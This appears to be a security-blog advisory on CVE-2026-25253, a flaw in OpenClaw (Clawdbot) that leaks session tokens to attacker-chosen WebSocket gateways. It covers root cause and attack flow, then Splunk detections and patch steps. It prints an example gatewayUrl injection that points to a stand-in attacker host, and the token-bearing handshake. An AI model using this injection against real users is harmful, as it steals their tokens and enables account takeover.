CVE-2026-25253: OpenClaw Clients Expose Session Tokens Through Malicious WebSocket Gateways

CVE-2026-25253 — OpenClaw / Clawdbot WebSocket Token Exfiltration

CVE ID: CVE-2026-25253
Severity: High
CVSS v3.1 Score: 8.8
Attack Vector: Network
Privileges Required: None
User Interaction: Minimal (link open or auto-load)
Impact: Authentication token disclosure, account takeover, possible remote code execution

Official Patch / Upgrade:
https://github.com/openclaw/openclaw/releases/tag/v2026.1.29


Vulnerability Summary

A security weakness was identified in OpenClaw (also known as Clawdbot) where authentication tokens can be unintentionally transmitted to an attacker-controlled server. This occurs due to insufficient validation of externally supplied gateway connection parameters.

When a specially crafted gateway address is processed, the OpenClaw client establishes a WebSocket connection without verifying the destination. During this connection process, a valid session or API token is automatically included in the initialization payload. As a result, the token can be captured by an unauthorized party.

Because OpenClaw tokens grant authenticated access to control interfaces and automation features, this exposure can lead to full account compromise and, in certain configurations, execution of arbitrary commands on the host system.


Root Cause

The issue originates from a design flaw where user-supplied or externally influenced gateway parameters are trusted implicitly. The WebSocket client logic does not enforce:

  • Destination allow-listing
  • Origin or hostname validation
  • Explicit user confirmation
  • Token scoping based on destination

As a consequence, credential material is transmitted to any endpoint specified as a gateway.


Technical Attack Flow

The vulnerability is typically exploited through the following sequence:

  1. A malicious WebSocket endpoint is prepared by the attacker.
  2. A crafted URL or resource is generated that includes a manipulated gateway parameter.
  3. The OpenClaw client processes the parameter and opens a WebSocket session to the attacker endpoint.
  4. During session initialization, the client transmits an authentication token.
  5. The attacker captures and reuses the token to impersonate the victim.

This process does not rely on brute force, credential guessing, or memory corruption. It leverages normal client behavior under unsafe trust assumptions.


Payload Details (Educational Context)

Example Gateway Injection Payload

The following illustrates the structure typically observed during exploitation:

https://target-app.example/connect?gatewayUrl=wss://attacker-controlled.example/ws

Once processed, the OpenClaw client initiates a WebSocket handshake similar to:

GET /ws HTTP/1.1
Host: attacker-controlled.example
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: <random>
Sec-WebSocket-Version: 13

Token Disclosure Payload

Immediately after connection, a JSON payload is transmitted:

{
  "type": "auth_init",
  "client": "openclaw",
  "version": "2026.1.12",
  "token": "oc_live_eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
}

In some deployments, the token may also appear as:

  • A bearer value in an Authorization header
  • A nested field in a session initialization message
  • A base64-encoded object containing session metadata

The attacker only needs to log incoming WebSocket frames to harvest the credential.


Post-Exploitation Usage of the Token

Once obtained, the token can be used to perform authenticated actions such as:

  • Accessing the OpenClaw control API
  • Enumerating agents, skills, and workflows
  • Reading stored conversation data
  • Modifying configurations
  • Uploading or enabling new skills

In environments where skills have system-level access, this can be escalated to command execution by abusing legitimate automation features rather than exploiting additional vulnerabilities.


Detection Strategy

Relevant Log Sources

To detect exploitation or attempted abuse, logging should be enabled and monitored from:

  • Application logs from OpenClaw clients
  • Network proxy or firewall logs
  • WebSocket handshake telemetry
  • API authentication and audit logs
  • Endpoint process execution logs

Behavioral Indicators

Suspicious activity may be indicated by:

  • WebSocket connections initiated to previously unseen external hosts
  • Gateway configuration values appearing unexpectedly in logs
  • Tokens used from multiple IP addresses in a short time frame
  • API activity occurring without corresponding user actions
  • Sudden creation or execution of new skills

Splunk Detection Rules

Detect Gateway Parameter Usage

index=proxy_logs
| search request_uri="*gatewayUrl=*"
| stats count by src_ip, dest_host, request_uri

Detect Unexpected WebSocket Destinations

index=network_logs protocol=websocket
| where NOT dest_host IN ("approved-gateway-1", "approved-gateway-2")
| stats count by src_ip, dest_host

Detect Token Reuse from Multiple Locations

index=api_audit auth_type=token
| stats dc(src_ip) as ip_count by token
| where ip_count > 1

Mitigation and Remediation

Immediate Actions

  • Upgrade OpenClaw to v2026.1.29 or later using the official release.
  • Revoke all existing session and API tokens.
  • Regenerate credentials used by integrations and automation workflows.

Defensive Hardening

  • Restrict outbound WebSocket traffic to approved gateway hosts.
  • Enforce strict validation on gateway configuration parameters.
  • Disable automatic gateway connections where not operationally required.
  • Implement short token lifetimes and rapid rotation policies.

Monitoring Improvements

  • Alert on new or changed gateway parameters.
  • Correlate WebSocket connections with token usage.
  • Review skill installation and execution logs regularly.

Risk Statement

This vulnerability enables attackers to bypass traditional authentication controls by abusing trusted client behavior. Because exploitation relies on normal protocol usage rather than malformed input, it may evade signature-based defenses unless behavior is closely monitored.

Failure to patch and rotate tokens should be treated as a high-risk condition, especially in environments where OpenClaw has access to sensitive systems or credentials.


Final Takeaway

  • Exploitation details and payload descriptions are provided strictly for defensive and educational purposes.
  • Systems running unpatched versions should be assumed at risk.
  • Token compromise should be treated as full account compromise.

Aegiron

Backed by 11+ years in cybersecurity and incident response, we decode the latest threats shaping today’s digital battlefield. This blog cuts through the noise with clear insights on vulnerabilities, emerging exploits, and the cyber news defenders can’t afford to miss.